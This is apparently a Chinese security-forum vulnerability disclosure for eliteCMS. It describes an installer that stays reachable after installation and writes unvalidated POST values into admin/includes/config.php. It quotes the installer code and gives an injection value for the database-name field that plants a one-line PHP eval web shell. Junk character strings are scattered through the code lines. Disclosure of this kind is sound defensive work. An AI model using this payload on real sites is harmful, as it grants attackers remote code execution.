eliteCMS安装文件未验证 + 一句话写入安全漏洞

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eliteCMS的安装程序安装结束后未作锁定，导致黑客可以通过访问安装程序地址进行重复安装
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! i( L' V! ]  S' {! R) ?另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
我们来看代码：

...
elseif ($_GET['step'] == "4") {
4 w7 F3 W, Y+ r9 n    $file = "../admin/includes/config.php";
    $write = "<?php\n";
    $write .= "/**\n";
' v# [5 w9 h/ K- m; h    $write .= "*\n";
    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
...略...
7 r. w% P  @8 M0 I  ?' A: L    $write .= "*\n";
    $write .= "*/\n";
    $write .= "\n";
4 w1 c4 u8 O9 I# ?! P% d: Z" `6 X) o    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
, e7 ~- P$ D. U& q% G+ n  v    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
& }& q8 t2 _. Y- m: a# E7 p    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
$ ?) F1 B0 B% S( w* t0 D  U    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
    $write .= "if (!\$connection) {\n";
    $write .= "        die(\"Database connection failed\" .mysql_error());\n";
" [6 S/ Y' W6 s- U! M, n: c$ p    $write .= "        \n";
6 A5 w* E# R2 w5 z  P) h$ k    $write .= "} \n";
    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
3 i2 Z6 n% l  g  l/ o# _    $write .= "if (!\$db_select) {\n";
/ j7 D, v3 A- x: E    $write .= "        die(\"Database select failed\" .mysql_error());\n";
    $write .= "        \n";
    $write .= "} \n";
    $write .= "?>\n";
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    $writer = fopen($file, 'w');
9 G% A+ P/ s; d0 z4 U$ Q$ V0 w0 k8 L* O...

在看代码：
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$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
  k* _' p' V1 b& R$_SESSION['DB_USER'] = $_POST['DB_USER'];
$_SESSION['DB_PASS'] = $_POST['DB_PASS'];

% T% g: Y) h) v. [% L取值未作任何验证
, y$ [+ j/ F( ~7 B如果将数据库名POST数据：
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"?><?php eval($_POST[c]);?><?php

将导致一句话后门写入/admin/includes/config.php
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